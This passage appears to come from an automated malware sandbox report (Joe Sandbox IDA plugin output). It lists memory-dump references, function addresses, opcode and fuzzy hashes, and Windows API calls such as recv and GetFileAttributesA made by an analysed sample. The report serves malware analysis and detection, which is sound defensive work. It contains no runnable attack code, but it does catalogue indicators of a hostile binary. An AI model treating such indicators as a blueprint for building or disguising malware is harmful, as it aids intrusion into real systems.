Associated: 00000000.00000002.2246687981.00000000004B9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246700751.00000000004C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246717295.00000000004CF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246740921.00000000004D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246758025.00000000004D3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246777646.00000000004D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246800494.00000000004DE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246817975.00000000004DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246830145.00000000004E0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246844988.00000000004E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246856860.00000000004EA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246868633.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246879270.00000000004F0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246889724.00000000004F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246904342.00000000004F3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247007513.00000000004FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247050358.0000000000512000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247336648.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248037647.000000000051D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248131120.000000000051E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248131120.000000000053B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249336954.0000000000569000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249401509.000000000056A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249671405.000000000056F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250058723.0000000000571000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250098533.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250134047.0000000000580000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_260000_file.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 2f8720c1563c910d237564e9f16c4c3290dc0def88621290c8ea266ae70fcd41
Instruction ID: d588f02ac3a94c82702be6d2984fd3610c6d20e6f40385d706a089053db12aa5
Opcode Fuzzy Hash: 2f8720c1563c910d237564e9f16c4c3290dc0def88621290c8ea266ae70fcd41
Instruction Fuzzy Hash: DEC08C2C03160189FD2D0D3802858A973494A477A83F41BC4E5704B1F1CE3578AB9210

Function 002687B0 Relevance: 1.5, APIs: 1, Instructions: 12COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(?,0026DA1D,?,?,?,?), ref: 002687B9

Memory Dump Source

Source File: 00000000.00000002.2246085921.0000000000261000.00000040.00000001.01000000.00000003.sdmp, Offset: 00260000, based on PE: true

Associated: 00000000.00000002.2246049309.0000000000260000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246085921.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246156943.00000000002C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246171958.00000000002CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246187307.00000000002D7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246280736.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246296195.0000000000433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246315142.000000000044C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246329526.000000000044E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246342884.000000000044F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246342884.0000000000459000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246375725.000000000045D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246391924.000000000045E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246407529.0000000000461000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246420883.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246435523.000000000046B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246450285.0000000000472000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246467590.0000000000484000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246481169.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246496664.0000000000486000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246521083.0000000000487000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246574589.0000000000493000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246670011.000000000049D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246687981.00000000004B9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246700751.00000000004C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246717295.00000000004CF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246740921.00000000004D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246758025.00000000004D3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246777646.00000000004D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246800494.00000000004DE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246817975.00000000004DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246830145.00000000004E0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246844988.00000000004E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246856860.00000000004EA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246868633.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246879270.00000000004F0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246889724.00000000004F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246904342.00000000004F3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247007513.00000000004FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247050358.0000000000512000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247336648.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248037647.000000000051D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248131120.000000000051E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248131120.000000000053B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249336954.0000000000569000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249401509.000000000056A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249671405.000000000056F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250058723.0000000000571000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250098533.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250134047.0000000000580000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_260000_file.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: bf1cf82ccb378b1f284b3089f50ab201182eccf75e73c2803b717ae45daefd04
Instruction ID: 493ea10bf08b8ddeb6a0b267033992cb520f57dd5fee26d7cce62f28edf5c35d
Opcode Fuzzy Hash: bf1cf82ccb378b1f284b3089f50ab201182eccf75e73c2803b717ae45daefd04
Instruction Fuzzy Hash: 44C08C3C031201CAFA2D4E38428482972099A037283F00B88E5314B1F1CF32E8A7C6A0

Function 04AC06C3 Relevance: .1, Instructions: 126COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2252627762.0000000004AC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04AC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4ac0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 52787c71c6cc55b373a9516f8c8287118409d796ea35997848f66e54eef75ee6
Instruction ID: 0e8ef854a2bfb3ffc92aedd6b7e0126d3098f0db312f709ab1d4c6c3073b08f9
Opcode Fuzzy Hash: 52787c71c6cc55b373a9516f8c8287118409d796ea35997848f66e54eef75ee6
Instruction Fuzzy Hash: C721F1FB28C654FDA28685C22B60AF63B3DE6C3730330806FF447D9042F2941A0976B2

Function 04AC06F3 Relevance: .1, Instructions: 108COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2252627762.0000000004AC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04AC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4ac0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8f8e4f2d59feddb0a643bac716adaf7ed6b2227feafeee4b3dee252bdb322a9e
Instruction ID: 9b1de60e0994034ba50528edd9080d1b3e257d033ce39d68733fc8a0851d8ccb
Opcode Fuzzy Hash: 8f8e4f2d59feddb0a643bac716adaf7ed6b2227feafeee4b3dee252bdb322a9e
Instruction Fuzzy Hash: E211BBFB38C625FD308689D22B60AF62A3EE1D3730331C42EF407D5002F2846A4A79B1

Function 04AC06DE Relevance: .1, Instructions: 96COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2252627762.0000000004AC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04AC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4ac0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4998b47e97684f714baf413db5078ab12ec1e2764857e4733d8084b855a2d3de
Instruction ID: ddee381b06eba620cca31bf7d426d5826fa94a5b90ab37c1f51411e410ed7177
Opcode Fuzzy Hash: 4998b47e97684f714baf413db5078ab12ec1e2764857e4733d8084b855a2d3de
Instruction Fuzzy Hash: 2711CAFB38C614FD618694C22B60AF63A7EE2D3730331C02EF447D5002F2906A4A7AB1

Function 04AC0720 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2252627762.0000000004AC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04AC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4ac0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 782971cf22acf918bb2b4d24a8a83b8bb4af0d5e2f15e0b5d360e06cc86faafa
Instruction ID: 5f2e47ae788e84587da667980b7aa61a5d1d11215ebe5c78a8deb3dc14a83270
Opcode Fuzzy Hash: 782971cf22acf918bb2b4d24a8a83b8bb4af0d5e2f15e0b5d360e06cc86faafa
Instruction Fuzzy Hash: C601F5F728CA15FE66C6A5C21B516F67A7AA597730370C02EF00BD5002F19117557AB2

Function 04AC0757 Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2252627762.0000000004AC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04AC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4ac0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9897e90b177ba6f98d737df487598df1f18835182af588581546a63724fa691b
Instruction ID: 3c7a6da468fe76622ab180760189ff356360cfbdfdee9e86be0f7f5027def333
Opcode Fuzzy Hash: 9897e90b177ba6f98d737df487598df1f18835182af588581546a63724fa691b
Instruction Fuzzy Hash: 4CF0B4FB38CA14FD25CAA5C217A15B63F76E6A7730770C02EF14BC5102B1A067517AE2

Function 04AC0763 Relevance: .0, Instructions: 50COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2252627762.0000000004AC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04AC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4ac0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fdcbfecbb83ceb102b7b691136224e9e4df946a7a5135f8014fe3573df26f936
Instruction ID: 1c71ea0a82181b9d56af7d7caf786046d53be1899bd1131b406bdb8e1f745174
Opcode Fuzzy Hash: fdcbfecbb83ceb102b7b691136224e9e4df946a7a5135f8014fe3573df26f936
Instruction Fuzzy Hash: 37F024F738CA24ED25CAAAC216A05B67A35A6A6730371C12EF087D0002B55067517AB2

Function 04AC0779 Relevance: .0, Instructions: 50COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2252627762.0000000004AC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04AC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4ac0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e6ec260ba31a1075c11f77cc731621e0a6a7fed23e4afa91c9a42829b6339ab3
Instruction ID: 62cf0adcc922243deb660d72015e5e401ca177a119b5895bf6583d430f8eb8f4
Opcode Fuzzy Hash: e6ec260ba31a1075c11f77cc731621e0a6a7fed23e4afa91c9a42829b6339ab3
Instruction Fuzzy Hash: 9FF050F734CA14DE61C591D22AA12B57775A7A6B30370C02DF44BC2142B4A4265276B3

Function 04AC07F8 Relevance: .0, Instructions: 48COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2252627762.0000000004AC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04AC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4ac0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 17a5e21516b769333fc5dc026786344f6b8d408ce2439de879fc14d1e68f4ca7
Instruction ID: 32935ee9b18b822e6757bf64a74f4e10af593c186a53ae9b893bc035f6438005
Opcode Fuzzy Hash: 17a5e21516b769333fc5dc026786344f6b8d408ce2439de879fc14d1e68f4ca7
Instruction Fuzzy Hash: A9F0E9F738DA51DD15C9A1D227506B57F74A593730371C01FE047C4502F154629676E2

Function 04AC0797 Relevance: .0, Instructions: 40COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2252627762.0000000004AC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04AC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4ac0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 96ec9b90d7b7ce79429e8cec8e7ec5ac3cfbe4e4532ca0a6698516becf559230
Instruction ID: 8dc78e63750745bbfa07120c682e6a2c49ab9bcc5e07cbbaec9182eaf841a215
Opcode Fuzzy Hash: 96ec9b90d7b7ce79429e8cec8e7ec5ac3cfbe4e4532ca0a6698516becf559230
Instruction Fuzzy Hash: 48F02BF738CA25ED21C9A1D216606767A78A5A7730372C02FF047D5042B454265536F3

Function 04AC07BE Relevance: .0, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2252627762.0000000004AC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04AC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4ac0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 47ef2ca36f87bda86afd8f33acee8bcf79ebb78b4ff15d8034ccda6c4d76a0ba
Instruction ID: a293a49340b1154a0cdccffbad52d5f7ccaaaaf2e6ba5949129bb737251348b8
Opcode Fuzzy Hash: 47ef2ca36f87bda86afd8f33acee8bcf79ebb78b4ff15d8034ccda6c4d76a0ba
Instruction Fuzzy Hash: F2E068F734C260EE21C292D316606B63B74B5A3330370C06EF087C0001B014174677F2

Function 04AC07B6 Relevance: .0, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2252627762.0000000004AC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04AC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4ac0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b96459c62ad6f98ede7ab16756f31e4d91248e8841322615e7421588bea54ecc
Instruction ID: b9857f3194f0f6baedd7671b03681f70dd0e20a201c4bf338f1f68a332c46a96
Opcode Fuzzy Hash: b96459c62ad6f98ede7ab16756f31e4d91248e8841322615e7421588bea54ecc
Instruction Fuzzy Hash: F0E0DFFB38CA24ED21C5A1D22A64A767AB4B6A37303B1C06EF087C0042B554279676F2

Function 04AC07D1 Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2252627762.0000000004AC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04AC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4ac0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 878374a7240f354023d98661bbc0140ff71763f19fb01486e90ed066cdf3c05f
Instruction ID: 49e4073629a03e5432f590d0e89e967e557b0f690081ebc8041b8dec9c87d598
Opcode Fuzzy Hash: 878374a7240f354023d98661bbc0140ff71763f19fb01486e90ed066cdf3c05f
Instruction Fuzzy Hash: 28E0227A10C261EED2C291E215556767FB0AB93730B21C0AFB0C380082E458076BB3E3

Function 04AC0819 Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2252627762.0000000004AC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04AC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4ac0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f83d9b99e0720810b17b72ba84b3dd7ff389cdb8ebcaa6e284b09a65317412bb
Instruction ID: a5bc30d233adc4a823a3a670feaef63fb6444b8d0f23a2fe8640171bc2df0ab0
Opcode Fuzzy Hash: f83d9b99e0720810b17b72ba84b3dd7ff389cdb8ebcaa6e284b09a65317412bb
Instruction Fuzzy Hash: 68E0D8F725C154DD56C6A5E225601B53BB19697331771C16FA0C7C1046B4202256A7E6

Function 04AC07A4 Relevance: .0, Instructions: 31COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2252627762.0000000004AC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04AC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4ac0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9beb22e124d58e4d06f263889298c5da49c1d724cac68f803ccfd85b05b99a2d
Instruction ID: 7319781731a75d9e287cb8d1f00bbd2cc62dd4f81677701091848cd9f49155b1
Opcode Fuzzy Hash: 9beb22e124d58e4d06f263889298c5da49c1d724cac68f803ccfd85b05b99a2d
Instruction Fuzzy Hash: BDE0D8BB24C914DE52C1D6C255505367AB0F796720760C09EF0D3C6040F5281661B7E3

Non-executed Functions

Function 0026E0C0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 102networkCOMMON

Download Yara Rule

APIs

recv.WS2_32(?,?,00000004,00000000), ref: 0026E10B
recv.WS2_32(?,?,00000008,00000000), ref: 0026E140

Strings

c13L, xrefs: 0026E0D4

Memory Dump Source

Source File: 00000000.00000002.2246085921.0000000000261000.00000040.00000001.01000000.00000003.sdmp, Offset: 00260000, based on PE: true

Associated: 00000000.00000002.2246049309.0000000000260000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246085921.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246156943.00000000002C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246171958.00000000002CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246187307.00000000002D7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246280736.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246296195.0000000000433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246315142.000000000044C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246329526.000000000044E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246342884.000000000044F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246342884.0000000000459000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246375725.000000000045D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246391924.000000000045E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246407529.0000000000461000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246420883.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246435523.000000000046B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246450285.0000000000472000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246467590.0000000000484000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246481169.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246496664.0000000000486000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246521083.0000000000487000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246574589.0000000000493000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246670011.000000000049D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246687981.00000000004B9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246700751.00000000004C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246717295.00000000004CF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246740921.00000000004D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246758025.00000000004D3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246777646.00000000004D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246800494.00000000004DE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246817975.00000000004DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246830145.00000000004E0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246844988.00000000004E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246856860.00000000004EA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246868633.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246879270.00000000004F0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246889724.00000000004F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246904342.00000000004F3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247007513.00000000004FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247050358.0000000000512000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247336648.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248037647.000000000051D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248131120.000000000051E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248131120.000000000053B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249336954.0000000000569000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249401509.000000000056A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249671405.000000000056F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250058723.0000000000571000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250098533.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250134047.0000000000580000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_260000_file.jbxd

Yara matches

Similarity

API ID: recv
String ID: c13L
API String ID: 1507349165-2793365725
Opcode ID: 0336b5b429e345ccdbea76f620a6df338f42577d8afe955785606ffbc428ce42
Instruction ID: 31513b382bc740353f3d53b1cf563cca291725b609a1267373d2030378cbef10
Opcode Fuzzy Hash: 0336b5b429e345ccdbea76f620a6df338f42577d8afe955785606ffbc428ce42
Instruction Fuzzy Hash: 1331E771A102589BDB20CB68DC89FAB77BCEB09724F514625E914E72D1CA74AC948BA0

Function 0027CBEA Relevance: 1.5, APIs: 1, Instructions: 16timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimePreciseAsFileTime.KERNEL32(?,0027CF52,?,00000003,00000003,?,0027CF87,?,?,?,00000003,00000003,?,0027C4FD,00262FB9,00000001), ref: 0027CC03

Memory Dump Source

Source File: 00000000.00000002.2246085921.0000000000261000.00000040.00000001.01000000.00000003.sdmp, Offset: 00260000, based on PE: true

Associated: 00000000.00000002.2246049309.0000000000260000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246085921.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246156943.00000000002C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246171958.00000000002CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246187307.00000000002D7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246280736.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246296195.0000000000433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246315142.000000000044C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246329526.000000000044E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246342884.000000000044F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246342884.0000000000459000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246375725.000000000045D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246391924.000000000045E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246407529.0000000000461000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246420883.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246435523.000000000046B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246450285.0000000000472000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246467590.0000000000484000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246481169.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246496664.0000000000486000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246521083.0000000000487000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246574589.0000000000493000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246670011.000000000049D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246687981.00000000004B9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246700751.00000000004C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246717295.00000000004CF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246740921.00000000004D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246758025.00000000004D3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246777646.00000000004D5000.00000040.00000001.01000000.00000003.sdmpDownload File
